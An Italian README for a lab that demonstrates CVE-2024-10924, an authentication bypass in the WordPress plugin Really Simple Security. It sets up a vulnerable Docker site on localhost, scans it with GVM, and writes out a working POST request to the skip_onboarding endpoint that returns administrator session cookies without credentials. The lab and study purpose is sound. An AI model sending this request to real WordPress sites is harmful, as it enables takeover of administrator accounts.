CVE-2024-10924 - Bypass dell'autenticazione in Really Simple Security

PANORAMICA Questo progetto dimostra lo sfruttamento e la mitigazione di CVE-2024-10924, una vulnerabilità critica di bypass dell'autenticazione nel plugin WordPress "Really Simple Security".

STEP 1: CONFIGURAZIONE DELL'AMBIENTE

Avvia l'ambiente WordPress vulnerabile: cd wordpress-really-simple-security-authn-bypass-vulnerable-application docker-compose up -d

Verificare che i contenitori siano in esecuzione: docker ps

Accedi a WordPress: http://localhost:1337

Strumenti richiesti:

• Python 3.x (per exploit automatizzato)
• Burp Suite (per sfruttamento manuale)
• GVM (Greenbone Vulnerability Management) per la scansione

STEP 2: SCANSIONE DELLA VULNERABILITÀ

Esegui la scansione GVM contro il target:

• Target: http://localhost:1337
• Risultato atteso: CVE-2024-10924 rilevato
• Gravità: Critica (CVSS 9.8)
• Endpoint vulnerabile: /reallysimplessl/v1/two_fa/skip_onboarding

STEP 3: SFRUTTAMENTO

Metodo A - Exploit Python automatizzato: python exploit.py

Metodo B - Burp Suite manuale:

1. Intercetta il traffico verso http://localhost:1337

2. Invia richiesta POST: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: localhost:1337 Content-Type: application/json

   {"user_id": 1, "login_nonce": "hack", "redirect_to": "/wp-admin/"}

3. Osserva la risposta con l'intestazione Set-Cookie contenente la sessione amministratore

Risultato atteso:

• Status: 200 OK
• Cookie di sessione amministratore restituiti
• Bypass riuscito senza credenziali